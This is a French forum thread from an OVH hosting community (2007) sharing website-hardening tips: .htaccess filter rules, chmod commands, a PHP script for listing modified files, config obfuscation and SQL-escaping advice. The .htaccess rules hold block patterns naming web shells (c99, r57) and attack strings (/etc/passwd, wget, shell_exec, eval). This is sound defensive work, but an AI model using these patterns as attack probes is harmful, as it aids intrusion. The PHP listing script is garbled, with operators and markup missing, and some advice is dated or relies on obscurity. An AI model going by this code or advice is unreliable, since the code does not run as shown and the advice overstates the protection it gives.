Ne mettez ce code que seulement s'il n'y a aucun système de filtrage.

À partir de PHP 5.2, il existe une série de filtres qui permet de bien cibler le filtrage des données: http://fr.php.net/filter. Deux tutoriels en anglais sont disponibles, le premier ici et le second là.

enycu
17/08/2007, 22h19
Avoir la liste des fichiers modifiés et ajoutés

Voici un petit script php qui vous permet d'avoir la liste des derniers fichiers créés ET modifiés.

Si vous avez été victime d'un piratage, il vous permettra de savoir quels fichiers ont été ajoutés et ceux qui ont été modifiés par le pirate avec la date et l'heure. Ainsi, en comparant la date de ces fichiers modifiés aux logs, vous saurez si la modification est normale ou pas et vous saurez quand et comment le pirate a frappé.

Il sert également à comprendre le comportement d'un script ou d'un CMS, blog, wiki, forum et voir quels fichiers ont été manipulés par ce logiciel.

Copiez le code ci-dessous et créez un fichier texte que vous pourrez appeler par exemple: liste-modif.php
Mettez ce script dans votre hébergement dans le dossier www, ouvrez-le avec votre navigateur web, donnez le nombre de jours représentant la période à vérifier, puis le nom du dossier à analyser. Le chemin de fichier doit se terminer par / comme par exemple: /forum/ qui correspondra à /home/votreloginftp/www/forum/
Si vous voulez vérifier tout le contenu du dossier www, cliquez uniquement sur le bouton "Vérifier Fichiers".

Attention, si vous avez beaucoup de fichiers et de répertoires, le listage peut prendre trop de temps et le script peut s'interrompre après 30s d'exécution. Si c'est le cas, essayez votre recherche répertoire par répertoire.

Ce script ne va donner la liste que des dossiers à partir du chemin /home/votreloginftp/www/ de votre hébergement mutualisé chez OVH.

Code PHP:
/*
Donne la liste des derniers fichiers créés ET modifiés.
Très utile en cas de piratage pour savoir quels fichiers sont ajoutés et ceux qui ont été modifiés. Utile pour comprendre le comportement d'un script ou d'un CMS et voir quels fichiers ont été manipulés.

Mettez ce script dans votre hébergement, ouvrez-le avec votre navigateur web, donnez le nombre de jours représentant la période à vérifier, puis le nom du dossier à analyser.
Ce script ne va donner la liste que des dossiers à partir du chemin /home/votreloginftp/www/ de votre hébergement.

Crédits: Les 4/5 du code sont l'oeuvre de Linda MacPhee-Cobb (http://timestocome.com)
*/

    
$go_back 0;                        // affiche résultat ou non
    
$i 0;                                // compteur de boucle
    
$dir_count 0;                        // initialisation de la boucle
    
$date time();                        // date et heure actuelle
    
$one_day 86400;                    // nombre de secondes pour une journée
    
$days preg_replace("/[^0-9]/i",''$_POST["jours"]);    // nombre de jours à vérifier
    
$path preg_replace("/[^_A-Za-z0-9-\.%\/]/i",''$_POST["chemin"]);    // chemin de fichier absolu (avec nettoyage contre piratage)
    
$path preg_replace("/\.\.\//",''$path);    // on interdit la commande ../
    
define('ABSPATH'dirname(__FILE__));
    
$path ABSPATH.$path;    // chemin de fichier absolu de votre compte du genre /home/loginftp/www/ ou /home/loginftp/public_html/ etc.
    
$directories_to_read[$dir_count] = $path;
    
    
// Formulaire pour remonter le temps
    
print "

Contrôle des derniers fichiers modifiés dans votre hébergement .

"
;
    print 
"";
    print 
"";
    print 
"";
    print 
"";
    print 
"
";
    print 
"";
    print 
"
Nombre de jours à vérifier 1-99:   
Nom du répertoire à contrôler: ".ABSPATH. (mettre un / à la fin)
 ";
    print 
"";
    print 
"
"
;
    
// Affichage du résultat
    
$go_back $one_day $days;
    print 
" Retour sur les . ($go_back/$one_day) ." derniers jours. "
;

    if ( 
$go_back ){
        print 
"";
        
$diff $date $go_back;
        
        while ( 
$i <= $dir_count ){
            
$current_directory $directories_to_read[$i];
        
            
// obtenir info fichier
            
$read_path opendir$directories_to_read[$i] );
            while ( 
$file_name readdir$read_path)){
                if (( 
$file_name != '.' )&&( $file_name != '..' )){
                    if ( 
is_dir$current_directory "/"  $file_name ) == "dir" ){
                        
// besoin d'obtenir tous les fichiers d'un répertoire
                        
$d_file_name "$current_directory"$file_name";
                        
$dir_count++;
                        
$directories_to_read[$dir_count] = $d_file_name "/";
                    }else{
                        
$file_name "$current_directory"$file_name";                                
                        
// Si temps modifiés plus récent que x jours, affiche, sinon, passe
                        
if ( (filemtime$file_name)) > $diff  ){
                            print 
"";
                            
$date_changed filemtime$file_name );
                            
$pretty_date date("d/m/Y H:i:s"$date_changed);
                            print  
";
                        }
                    }
                }
            }
            
closedir $read_path );
            
$i++;    
        }
            print 
"
Nom du FichierDate de modification
 $file_name  ::: $pretty_date
"
;    
            print 
"";    
    } 
// if go_back > 0 )            
?>

Abogil
17/08/2007, 22h14
Merci Sparkles et Enycu.

Je préfère toutefois le script d'Enycu.
Toutefois, pour une meilleure lisibilité, je pense qu'il serait intéressant de mettre ces commandes sur plusieurs lignes dans un fichier toto.x que l'on lancerait comme indiqué par enycu.

C'est à dire :
find . -type f -exec chmod 404 {} \;;
find . -type d -exec chmod 505 {} \;;
find . -name ".htaccess" -exec chmod 400 {} \;;
find . -name "config.inc.php" -exec chmod 400 {} \;;
find . -name "./dossier_a_verrouiller" -exec chmod 500 {} \;;
find . -name "*.cgi" -exec chmod 505 {} \;
Est-ce possible ?

enycu
17/08/2007, 21h35
Automatiser le changement des droits

Changer tous les droits par FTP de tous les fichiers et dossiers peut être long et fastidieux avec le risque d'en oublier. J'utilise ce script pour changer les droits rapidement par SSH.

Connectez-vous en SSH à votre compte (uniquement pour les offres Plan et non pour les offres Start et GP), puis placez-vous dans le dossier "www" en entrant la commande cd www , et entrez les commandes suivantes en une seule ligne (après avoir modifié les noms des fichiers et dossiers selon les besoins):
Code:
find . -type f -exec chmod 404 {} \;;find . -type d -exec chmod 505 {} \;;find . -name ".htaccess" -exec chmod 404 {} \;;find . -name "config.inc.php" -exec chmod 404 {} \;;find . -name "fichier-log.txt" -exec chmod 604 {} \;;find . -name "dossier_a_verrouiller" -exec chmod 505 {} \;;find . -name "*upload*" -exec chmod 705 {} \;;find . -name "*.cgi" -exec chmod 505 {} \;
Sinon, voici une autre méthode ligne par ligne qui fonctionne en SSH, ou avec un script qui fait du pseudo-ssh en PHP (pour les offres Start et GP) comme celui-ci: http://forum.ovh.net/showthread.php?t=14627
En mode SSH, mettez-vous dans le dossier www avant de commencer. Avec un script qui fait du pseudo-ssh en PHP, mettez le fichier dans le dossier www et commencez le travail.
On copie une ligne, on appuie sur la touche Entrée, et on copie une autre ligne, on appuie sur la touche Entrée, etc. après avoir modifié les noms des fichiers et dossiers selon les besoins.

Tous les fichiers ont les droits 404 (droit de lecture, aucun droit d'écriture):
Code:
find . -type f -print0 | xargs -0 chmod 404
Tous les dossiers ont les droits 505 (droit de lecture, aucun droit d'écriture):
Code:
find . -type d -print0 | xargs -0 chmod 505
Tous les fichiers portant le nom ".htaccess" ont les droits 404 (droit de lecture, aucun droit d'écriture):
Code:
find . -type f -name .htaccess -print0 | xargs -0 chmod 404
Tous les fichiers contenant le nom "config*.php" (utilisation du caractère joker *) du dossier "blog" ont les droits 404 (droit de lecture, aucun droit d'écriture):
Code:
find /home/loginftp/www/blog -type f -name "config*.php" -print0 | xargs -0 chmod 404
Tous les fichiers php ("*.php" utilisation du caractère joker *) ont les droits 404 (droit de lecture, aucun droit d'écriture):
Code:
find . -type f -name "*.php" -print0 | xargs -0 chmod 404
Tous les dossiers portant le nom "dossier_a_verrouiller" ont les droits 505 (droit de lecture, aucun droit d'écriture):
Code:
find . -type d -name dossier_a_verrouiller -print0 | xargs -0 chmod 505
Tous les dossiers comportant le mot upload, comme "123-upload" ou "uploadbidule " ("*upload*" utilisation du caractère joker *) qui se trouvent dans le dossier "forum" ont les droits 705 (droit de lecture et droit d'écriture pour vous et le serveur):
Code:
find /home/loginftp/www/forum -type d -name "*upload*" -print0 | xargs -0 chmod 705
Un article sur la signification du CHMOD et la signification des numéros.

NOTE: Attention, (août 2007) OVH est en train de changer de filer et les droits 400 ne marchent plus. Donc, il faut revenir à CHMOD 404.

Sparkles
13/08/2007, 11h32
Citation Envoyé par Abogil
Merci Hommer Jay,
En fait c'est plus complexe car il faut des chmods différents suivant qu'il s'agit de dossiers ou de certains fichiers.
Code:
find . | while read f ; do if [ -d "$f" ] ; chmod 500 "$f" ; else chmod 400 "$f" ; fi ; done
ça te convient ?

IVIedia
13/08/2007, 10h51
Merci enycu pour tout les infos, j'ai lu et je trouvre vraiment intérresant tout les articles ce sont des geste comme ça qui sauvera nos fichiers sans doute, je vait essaye tout ça merci
bonne continuation

Homer Jay
13/08/2007, 08h32
Citation Envoyé par Abogil
En fait c'est plus complexe car il faut des chmods différents suivant qu'il s'agit de dossiers ou de certains fichiers.
Ah oui, tu as raison: pour suivre plus précisément les conseils de enycu, il faudrait ensuite faire quelque chose comme
Code:
find -name .htaccess -exec chmod 400 {} \;
Enfin, pour chaque fichier qui doit être écrivable par le serveur, faire le chmod qui va bien.

Abogil
13/08/2007, 08h00
Merci Hommer Jay,
En fait c'est plus complexe car il faut des chmods différents suivant qu'il s'agit de dossiers ou de certains fichiers.

Homer Jay
13/08/2007, 07h56
Citation Envoyé par Abogil
pourrais-tu nous donner un script à exécuter qui réaliserait, à partir de www, l'ensemble des changements des droits d'accès que tu préconises à juste titre ?

Il s'agirait d'un script d'une dizaine de lignes basé sur un find et un exec, mais je ne me rappelle plus la syntaxe exacte.
Avec GNU chmod, quelque chose comme ça?
Code:
chmod -R uo=rX,g= .

Abogil
13/08/2007, 07h12
Bonjour Enycu et merci pour toutes ces précisions.

Dans le cas d"un 90plan et d'un accès SSH via le script Admin'OVH de Florentriv, pourrais-tu nous donner un script à exécuter qui réaliserait, à partir de www, l'ensemble des changements des droits d'accès que tu préconises à juste titre ?

Il s'agirait d'un script d'une dizaine de lignes basé sur un find et un exec, mais je ne me rappelle plus la syntaxe exacte.

Merci.

enycu
13/08/2007, 02h48
Cryptez votre adresse e-mail

Si vous n'avez pas d'autre choix que d'afficher une adresse e-mail sur votre site web, vous avez 2 solutions:

1- Créez un fichier image (gif, png, jpeg) avec votre adresse écrite dessus. Ce n'est pas du texte, les robots spammeurs ne le verront pas.

2- Cryptez votre adresse e-mail avec du javascript. J'utilise cette méthode depuis des années et jamais ces adresses n'ont été spammées. Allez sur ce site web www.aspirine.org pour faire crypter votre adresse.
Pour aller encore plus loin, au lieu d'intégrer ce code à votre page html, on va l'appeler depuis un fichier javascript. L'avantage est que si l'adresse est présente sur plusieurs pages, vous n'avez à faire la modification qu'une fois.
Créez un dossier qu'on appelle "java" et on va y mettre un fichier qu'on va appeler "adresse.js". Copiez dans ce fichier la ligne de code javascript de votre adresse e-mail cryptée qui commence par "var ...". Par exemple:
Code:
var g6="";for(var z1=0;z1<335;z1++)g6+=String.fromCharCode(("{fw%}
Ensuite, dans votre page html, copiez le code suivant:
Code HTML:

enycu
13/08/2007, 02h37
Protégez vos fichiers style.css et index.php

Protégez par FTP vos fichiers "style.css" et "index.php" avec les droits 404. J'ai vu un cas de piratage du fichier style.css où le pirate avait modifié ce fichier pour afficher un pop-up.
Protégez aussi par FTP le fichier "index.php" avec les droits 404, car c'est par lui que passe toutes les commandes de votre blog, forum, cms, gallery, wiki.

Un article sur la signification du CHMOD et la signification des numéros.

Etienne62
13/08/2007, 02h33
Pour ceux qui codent leur site: empêcher les injections mysql


Il faut toujours vérifier la chaîne avant de l'insérer dans votre base de donnée sinon cela pourrait permettre à un pirate de faire pas mal de choses.

Exemple pour sécuriser la variable postée par le visiteur "$_POST['chaine]":
$chaine = mysql_real_escape_string(htmlspecialchars($_POST['chaine]));

enycu
13/08/2007, 02h25
Le fichier robots.txt

Vous connaissez le rôle du fichier robots.txt? http://www.robotstxt.org/
On utilise ce fichier pour interdire à un moteur de recherche d'indexer un dossier ou un fichier.

Mais ne déclarez pas dans ce fichier robots.txt un répertoire ou un fichier qui doit rester secret non seulement des moteurs de recherche mais aussi des pirates !! Tout le monde peut lire le contenu du fichier robots.txt et donc trouver l'adresse de votre dossier/fichier secret.

Pour garder un dossier à l'abri des regards des robots indexeurs et des pirates, il est plus efficace de le protéger avec un mot de passe htaccess http://guides.ovh.net/HtaccessProtection

enycu
13/08/2007, 02h11
Nommage de fichiers

Pour éviter que les robots des pirates ne vous trouvent grâce à Google, changez certaines habitudes et notamment le nom et l'URL de certains fichiers.

1- N'appelez pas la page de votre formulaire de contact: contact.php ou contact.html. Appelez là autrement comme "courrier", "missive", etc. Les robots spammeurs auront plus de mal à trouver un formulaire de contact à pirater pour envoyer des spams grâce à une faille de votre script d'envoi de mail.
Faites la même chose avec d'autres fichiers: pas de login.php (admin.php est bloqué par défaut chez OVH), download.php (on va chercher la faille pour télécharger un fichier hors de son répertoire), etc. En règle général, évitez ces mots anglais trop répandus.

2- Les spammeurs ne sont pas idiots. Changez aussi aussi certains noms du formulaire. Dans les balises html INPUT, changez l'attribut NAME qui contient des mots comme "e-mail" "mail", "name" ou "subject" par leur équivalent en français (courriel, nom, sujet). Faites ce changement dans le formulaire HTML et dans votre script php ou cgi.

3- Évitez de donner le nom de votre blog, forum, cms, gallery, wiki directement dans l'URL comme: www.domaine.tld/phpbb/ ou www.domaine.tld/gallery/ ou www.domaine.tld/blog/ ou www.domaine.tld/forum/ ou www.domaine.tld/admin/. Les spammeurs et piratent cherchent ces URL à cibler pour une attaque. Soyez plus original pour votre sécurité. Le mieux est d'éviter le mot anglais et de préférer son équivalent en français.

enycu
12/08/2007, 22h15
Connaître les informations techniques sur son hébergement

Utilisez cet excellent script d'administration pour avoir des informations utiles sur votre hébergement http://forum.ovh.net/showthread.php?t=14627
Spécialement développé par un client d'OVH. Il vous donne aussi accès à un pseudo-ssh (attention à la sécurité, lisez le fichier).

enycu
12/08/2007, 22h06
Protéger un dossier avec un mot de passe

Lisez ce guide d'OVH: http://guides.ovh.net/HtaccessProtection

Un conseil: ne mommez pas le fichier contenant le mot de passe ".htpasswd". Ce nom n'est pas obligatoire. Vous pouvez l'appeler comme vous voulez, par exemple ".htmotdepasse". Le pirate ne trouvera pas de fichier ".htpasswd" car il est nommé autrement !

enycu
12/08/2007, 22h04
Installation d'une base SQL

Lorsque vous installez votre blog, forum, cms, gallery, wiki pour la première fois, il vous propose des réglages et paramètres par défaut que nous acceptons à chaque fois. En cas de faille, le pirate peut utiliser ces réglages et paramètres par défaut pour pénétrer votre base SQL et la modifier.

Voici quelques conseils pour éviter que cette forme d'attaque de type injection SQL soit possible. Il y a plusieurs formes d'injections SQL. La règle 8 du .htaccess en arrête une autre forme. Sinon, la vraie protection contre les injections SQL est une bonne programmation (voir ici).

1- Quand vous installez votre blog, forum, cms, gallery, wiki, il vous donne comme login "admin" et vous demande d'entrer un mot de passe. Dans la mesure du possible, changez "admin" pour autre chose, un pseudo par exemple. Un pirate sait que le login par défaut est "admin" et lancera ses scripts uniquement sur le mot de passe. Mais si le login "admin" n'existe pas, il n'a aucune chance de pénétrer le système.
Il faut parfois faire cette modification dans phpMyadmin. Mais attention, il faut être sûr que cela ne cassera pas votre base. Posez la question sur le forum de l'éditeur de votre blog, forum, cms, gallery, wiki pour savoir si c'est possible.

2- Le premier utilisateur est donc l'administrateur et il porte toujours le numéro (ou ID) 1. Dans le cas où le login n'est pas "admin", certains scripts peuvent essayer d'avoir le mot de passe de l'utilisateur numéro 1 qui est, dans 99,99% des cas, l'administrateur. Dans la mesure du possible, effacez l'utilisateur numéro 1 sur la liste et soyez l'administrateur portant le numéro 2.
Il faut parfois faire cette modification dans phpMyadmin. Mais attention, il faut être sûr que cela ne cassera pas votre base. Posez la question sur le forum de l'éditeur de votre blog, forum, cms, gallery, wiki pour savoir si c'est possible.

3- Lors de l'installation, votre blog, forum, cms, gallery, wiki vous demande de choisir un préfixe pour le nom des tables. On accepte toujours le préfixe par défaut comme wp_ pour Wordpress, g2_ pour Gallery2, dc_ pour DotClear, phpbb_ pour phpBB, etc. Le pirate peut chercher la table avec la liste des utilisateurs et leurs mots de passe. Si, comme tout le monde, vous n'avez pas changé le préfixe, il lui sera facile de trouver la table. Donc, changez le préfixe de vos tables SQL pour plus de sécurité. Vous pouvez le faire après installation. Il faut parfois faire cette modification dans phpMyadmin. Mais attention, il faut être sûr que cela ne cassera pas votre base. Posez la question sur le forum de l'éditeur de votre blog, forum, cms, gallery, wiki pour savoir si c'est possible.
Par exemple, avec Wordpress en cas de changement de préfixe après installation, il faut aussi changer 2 entrées dans la base de données en plus du fichier wp-config.php, voyez leurs forums pour savoir comment faire.

Mon conseil: TOUJOURS MODIFIER LES PARAMÈTRES PAR DÉFAUT !

enycu
12/08/2007, 22h01
Crypter son fichier config.inc.php

Malgré toutes les précautions, le pirate a pénétré votre site et cherche maintenant à connaître les login et mot de passe de votre base MySQL pour la pirater, la vider et en prendre le contrôle. On peut lui compliquer la tâche en cryptant ces données sensibles. Le serveur web pourra lire ces informations facilement, mais elles ne seront pas lisibles directement par un œil humain.
Pour un expert en PHP, cette protection ne dure que 2 minutes, cela lui fait du travail en plus, mais nous ne sommes pas là pour lui faciliter la tâche ?

Visitez un de ces sites web et cryptez vos données.
http://www.phpencode.org - http://www.mobilefish.com/services/p...obfuscator.php ou cherchez un "PHP Obfuscator"

Par exemple, mon fichier config.php contient ceci:
Code PHP:
//** MySQL settings **//
$db_server   "mysql5-1";
$db_name     "nombasesql";
$db_username "loginsql";
$db_password "motdepasse";
?>
Je copie la partie à encoder entre les balises
Je choisis l'encodage "PHP - Extrastrength". Ne cherchez pas un encodage plus élevé, j'ai constaté des erreurs sur les serveurs mutualisés d'OVH.
Je copie la longue ligne qui commence par eval(xxxx entre les balises et le colle dans le fichier config.inc.php, ce qui donne:

Code PHP:
eval(gzuncompress(gzinflate(base64_decode('AXEAjv942tPX19JS8K0MDvRRKE4tKcnMSy9W0NLS1+flUklJii9OLSpLLVJQULBVUMqtLC7MMdU1VLKGyOUl5qYqKEDk8vJzkxKLU4EKYLKlQK1gFUDZnPz0zDwkuYLE4uLy/KIUsKn5JSmpIIFUkCwAmYgq2g==')))); 
?>
Ainsi, vous pouvez occulter toutes les informations sensibles.

Et attribuez par FTP les droits 404 à votre fichier config.inc.php (ou équivalent).

enycu
12/08/2007, 22h00
5- On n'autorise que l'affichage de certains fichiers, et pas les autres. Le fichier index.php est le fichier par défaut. Si on affiche index.htm, ça ne marche pas. L'intérêt est d'interdire au pirate d'afficher sur son navigateur un fichier ou un format de fichier non autorisé.
Attention: il faut tester ces interdictions et les adapter au besoin.

Code:
### SEUL LE FICHIER index.php EST SERVI COMME PREMIER FICHIER PAR DEFAUT. LES AUTRES SONT INTERDITS
DirectoryIndex index.php

### INTERDIRE LES AUTRES TYPES DE FICHIER INDEX

order allow,deny
deny from all


### INTERDIRE L'AFFICHAGE DE CERTAINS FORMATS DE FICHIER 
### EXÉCUTÉS PAR LE SERVEUR MAIS INTERDIT D'AFFICHAGE PAR LE NAVIGATEUR WEB

deny from all


### INTERDIRE L'AFFICHAGE DE CERTAINS FICHIERS COMME config, option, login, setup, install, admin, home, default, xmlrpc.
### A ADAPTER SI CELA POSE PROBLEME

order allow,deny
deny from all
6- Interdiction du hotlinking. Remplacez mondomaine par votre nom de domaine, tld par fr com net org ..., et 60gp par 90plan, start1g, etc. selon votre hébergement, et remplacez loginftp par votre... login FTP.

Code:
### ON EVITE LE VOL D'IMAGES, VIDEO, SON, FEUILLE DE STYLE, PDF ET ZIP
### LES VISITEURS DOIVENT PASSER PAR LE SITE. 
RewriteEngine on 
RewriteCond %{HTTP_REFERER} !^$ 
RewriteCond %{HTTP_REFERER} !^http://[-_a-z0-9.]*mondomaine\.tld$ [NC] 
RewriteCond %{HTTP_REFERER} !^http://[-_a-z0-9.]*mondomaine\.tld/.*$ [NC] 
RewriteRule .*\.(gif|jpe?g?|jp2|png|svgz?|css|pdf|zip|gz|js|mp3|m4a|mp4|mov|divx|avi|wma?v?|wmp|swf|flv|docx?|xlsx?|pptx?|vbs|rtf|asf?x?|odt|ods|odp|odg|odb)$ - [NC,F]
7- On bloque certaines requêtes bizarres: -= INDISPENSABLE - TRÈS EFFICACE =-

Code:
### DES FAUX URLS OU VIEUX SYSTEMES OBSOLETES, ON LES NEUTRALISE
RedirectMatch 403 (\.\./|base64|boot\.ini|eval\(|\(null\)|^[-_a-z0-9/\.]*//.*|/etc/passwd|^/_vti.*|^/MSOffice.*|/fckeditor/|/elfinder/|zoho/|/jquery-file-upload/server/|/assetmanager/|wwwroot|e107\_)
# DESACTIVE LES METHODES DE REQUETES TRACE TRACK DELETE
RewriteEngine On
RewriteCond %{REQUEST_METHOD} ^(TRACE|DELETE|TRACK) [NC]
RewriteRule ^.* - [F]
8- On bloque toute une série de failles potentielles. La plupart des pirates utilisent ces moyens pour tester la faiblesse de votre site. Là, on les bloque avant qu'il ne pénètre votre blog, forum, cms, gallery, wiki. -= INDISPENSABLE - TRÈS EFFICACE =-

Code:
### FILTRE CONTRE XSS, REDIRECTIONS HTTP, base64_encode, VARIABLE PHP GLOBALS VIA URL, MODIFIER VARIABLE _REQUEST VIA URL, TEST DE FAILLE PHP, INJECTION SQL SIMPLE
RewriteEngine On
RewriteCond %{REQUEST_METHOD} (GET|POST) [NC]
RewriteCond %{QUERY_STRING} ^(.*)(%3C|<)/?script(.*)$ [NC,OR]
RewriteCond %{QUERY_STRING} ^(.*)(%3D|=)?javascript(%3A|:)(.*)$ [NC,OR]
RewriteCond %{QUERY_STRING} ^(.*)document\.location\.href(.*)$ [OR]
RewriteCond %{QUERY_STRING} ^.*(%24&x).* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(127\.0).* [NC,OR]
RewriteCond %{QUERY_STRING} ^(.*)(%3D|=)(https?|ftp|mosConfig)(%3A|:)//(.*)$ [NC,OR] ## ATTENTION A CETTE REGLE. ELLE PEUT CASSER CERTAINES REDIRECTIONS RESSEMBLANT A: http://www.truc.fr/index.php?r=http://www.google.fr ##
RewriteCond %{QUERY_STRING} ^.*(_encode|localhost|loopback).* [NC,OR]
RewriteCond %{QUERY_STRING} ^(.*)GLOBALS(=|[|%[0-9A-Z]{0,2})(.*)$ [OR]
RewriteCond %{QUERY_STRING} ^(.*)_REQUEST(=|[|%[0-9A-Z]{0,2})(.*)$ [OR]
RewriteCond %{QUERY_STRING} ^(.*)(SELECT(%20|\+)|UNION(%20|\+)ALL|INSERT(%20|\+)|DELETE(%20|\+)|CHAR\(|UPDATE(%20|\+)|REPLACE(%20|\+)|LIMIT(%20|\+)|CONCAT(%20|\+)|DECLARE(%20|\+))(.*)$ [NC]
RewriteRule (.*) - [F]
9- Si des pirates ont réussi à pénétrer votre site, ils installent un script qui leur permettent de prendre les commandes de votre hébergement. Ici, on bloque la plupart des commandes de ces scripts. À tester avec votre site web, car c'est très puissant et efficace. À la 5e ligne, remplacez "loginftp" par vos valeurs. Cette règle est très efficace mais peut casser votre blog, forum, cms, gallery, wiki. À utiliser en dernier, puis à tester intensément, et effacez éventuellement la règle qui pose problème.

Code:
### FILTRE CONTRE PHPSHELL.PHP, REMOTEVIEW, c99Shell et autres
RewriteEngine On
RewriteCond %{REQUEST_URI} .*((php|my)?shell|remview.*|phpremoteview.*|sshphp.*|pcom|nstview.*|c99|r57|webadmin.*|phpget.*|phpwriter.*|fileditor.*|locus7.*|storm7.*)\.(p?s?x?htm?l?|txt|aspx?|cfml?|cgi|pl|php[3-9]{0,1}|jsp?|sql|xml) [NC,OR]
RewriteCond %{REQUEST_METHOD} (GET|POST) [NC]
RewriteCond %{QUERY_STRING} ^(.*)=/home(.+)?/loginftp/(.*)$ [OR]
RewriteCond %{QUERY_STRING} ^work_dir=.*$ [OR]
RewriteCond %{QUERY_STRING} ^command=.*&output.*$ [OR]
RewriteCond %{QUERY_STRING} ^nts_[a-z0-9_]{0,10}=.*$ [OR]
RewriteCond %{QUERY_STRING} ^(.*)cmd=.*$ [OR] ## ATTENTION A CETTE REGLE. ELLE PEUT CASSER VOTRE SITE ##
RewriteCond %{QUERY_STRING} ^c=(t|setup|codes)$ [OR]
RewriteCond %{QUERY_STRING} ^act=((about|cmd|selfremove|chbd|trojan|backc|massbrowsersploit|exploits|grablogins|upload.*)|((chmod|f)&f=.*))$ [OR]
RewriteCond %{QUERY_STRING} ^act=(ls|search|fsbuff|encoder|tools|processes|ftpquickbrute|security|sql|eval|update|feedback|cmd|gofile|mkfile)&d=.*$ [OR]
RewriteCond %{QUERY_STRING} ^&?c=(l?v?i?&d=|v&fnot=|setup&ref=|l&r=|d&d=|tree&d|t&d=|e&d=|i&d=|codes|md5crack).*$ [OR]
RewriteCond %{QUERY_STRING} ^(.*)([-_a-z]{1,15})=(ls|cd|cat|rm|mv|vim|chmod|chdir|concat|mkdir|rmdir|pwd|clear|whoami|uname|tar|zip|unzip|gzip|gunzip|grep|more|ln|umask|telnet|ssh|ftp|head|tail|which|mkmode|touch|logname|edit_file|search_text|find_text|php_eval|download_file|ftp_file_down|ftp_file_up|ftp_brute|mail_file|mysql|mysql_dump|db_query)([^a-zA-Z0-9].+)*$ [OR]
RewriteCond %{QUERY_STRING} ^(.*)(wget|shell_exec|passthru|system|exec|popen|proc_open)(.*)$
RewriteRule (.*) - [F]
10- Empêcher l'exécution de tout script PHP, Perl, CGI dans un dossier. L'option ci-dessous vous permet par exemple de protéger un dossier d'upload ou tout dossier très sensible dont vous voulez renforcer la sécurité. Il ne faut pas utiliser cette option dans le fichier .htaccess avec tous les codes décrits ci-dessus. Je vous invite plutôt à créer un fichier .htaccess et à le mettre dans le dossier à protéger. Cette option empêche un navigateur web d'exécuter le script directement. Mais si le navigateur ouvre le fichier index.php qui fait un include() vers un fichier php se trouvant dans le dossier protégé par le code ci-dessous, tout s'exécutera bien. On protège donc l'exécution directe du fichier par un navigateur quand le pirate essaye d'entrer du code malicieux non filtré.
Code:
# Aucun script dans le dossier et ses sous-dossiers, que ce soit PHP, PERL ou autre CGI, ne pourra s'executer si ExecCGI est inactif. Et interdit d'afficher la liste des fichiers.
OPTIONS -ExecCGI  -Indexes

Ne mettez pas ces règles d'un coup.
Copiez-en une, puis testez votre blog, forum, cms, gallery, wiki en ajoutant, modifiant un article, ajoutez effacez un utilisateur, accédez à votre interface d'administration et faites plusieurs choses. Si tout est OK, mettez une autre règle. En cas de problème, regardez l'URL appelée. Il y a peut-être un mot clé qui est bloqué par le fichier .htaccess. Il faudra effacer ce mot clé du fichier .htaccess. Vous l'avez compris, ce système filtre l'URL et regarde s'il est conforme à une utilisation normale. Donc, si vous avez un message d'erreur, trouvez le mot clé qui bloque la requête.
Il faut adapter ces règles à votre cas, ce n'est pas du simple copier-coller.

Plus tard, si dans l'utilisation de votre blog, forum, cms, gallery, wiki, vous voyez une erreur 403, alors il est probable qu'une règle du filtrage soit active.

Enfin, votre blog, forum, cms, gallery, wiki utilise souvent le fichier .htaccess pour y mettre des règles de ré-écriture d'URL plus lisibles (appelé URL rewriting). Mettez les filtres anti-pirates en premier et les règles URL rewriting à la fin. En effet, les filtres s'appliquent du premier au dernier. Placer les filtres anti-pirates après les règles de ré-écriture d'URL de votre blog, forum, cms, gallery, wiki n'apporterait aucun bénéfice (ce n'est pas vrai à 100%, mais il y a des raisons).

enycu
12/08/2007, 22h00
Le fichier .htaccess

Je vous propose 10 astuces pour sécuriser votre site web. Elles sont très efficaces et permettent de stopper beaucoup de tentatives de piratages avant que votre blog, forum, cms, gallery, wiki entre en action. Donc, dans une certaine mesure, si votre logiciel a une faille, peut-être que ces règles éviteront qu'elle ne soit exploitée. Appliquez au moins les règles 4, 7 et 8 qui sont très efficaces, elles vous protégerons de 90% des attaques automatiques tout en ayant peu de risque de bloquer votre site internet. N'installez pas ces règles en une fois, suivez les conseils d'installations et de tests en bas de la 10è astuce.

Créez le fichier .htaccess avec un logiciel de texte simple (tout sauf Word). Appelez-le "txt.htaccess", envoyez-le par FTP dans votre dossier www et renommez-le en ".htaccess". Puis donnez-lui par FTP les droits 404. Il ne sera pas modifiable.

Voici une suite de commandes qui permettent de sécuriser votre site web.

1- Register_Globals sur OFF:
Si vous utilisez PHP 5.4 ou supérieur, il est inutile de s’en préoccuper. Depuis la version 4.2 de PHP, cette fonction est sur OFF et elle est obsolète depuis PHP 5.4; c’est tant mieux pour la sécurité. On corrige cela si besoin. -= INDISPENSABLE =-
Un conseil: si un script exige que le paramètre PHP Register_Globals soit sur ON, trouvez un autre script concurrent.
Code:
SetEnv REGISTER_GLOBALS 0
On peut modifier quelques variables de php.ini dont la maigre liste est ici:
http://guide.ovh.net/configphp

2- Interdire l'accès à ce fichier depuis un navigateur web:

Code:

order allow,deny
deny from all
3- Interdire de lister le contenu d'un dossier:

Code:
Options -Indexes
4- Exclure les logiciels suspects utilisés par les pirates et certains aspirateurs de site web. -= INDISPENSABLE - TRÈS EFFICACE =-. Évite la plupart des attaques des "skiddy". Appliquez cette règle, car on bloque déjà une grande part des attaques automatiques. Cette liste est le minimum qu’il faut avoir et elle donne d’excellents résultats. Vous pouvez en ajouter d’autres si vous en trouvez.

Code:
###FILTRE CONTRE CERTAINS ROBOTS DES PIRATES
RewriteEngine On
## EXCEPTION: TOUS LES ROBOTS MEMES ANONYMES OU BANNIS PEUVENT ACCEDER A CES FICHIERS
RewriteCond %{REQUEST_URI} !^/robots.txt
RewriteCond %{REQUEST_URI} !^/sitemap.xml
##
RewriteCond %{HTTP_USER_AGENT} ^-?$ [OR] ## ANONYMES
